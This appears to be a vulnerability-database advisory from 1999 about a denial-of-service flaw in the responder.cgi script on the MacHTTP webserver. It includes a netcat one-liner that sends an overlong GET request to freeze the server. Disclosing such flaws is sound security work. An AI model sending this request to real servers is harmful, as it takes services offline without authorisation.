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John OFallon Responder.cgi 1.0 - Denial of Service

🗓️ 09 Apr 1999 00:00:00Reported by EpicType 
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Denial of service vulnerability in responder.cgi script affects MacHTTP webserver functionality.

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source: https://www.securityfocus.com/bid/3155/info

responder.cgi' is a free CGI shell script, written in C, for MacHTTP Server and other MacOS webserver products.

It is possible to cause a denial of service to MacHTTP webserver due to improper bounds checking in the script 'responder.cgi'. HTTP GET requests with an excessive number of characters will cause the server to freeze.

The webserver will need to be restarted to regain normal functionality. 

$ echo "GET
/cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc
machttp-server.com 80

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09 Apr 1999 00:00Current
0.2Low risk
Vulners AI Score0.2
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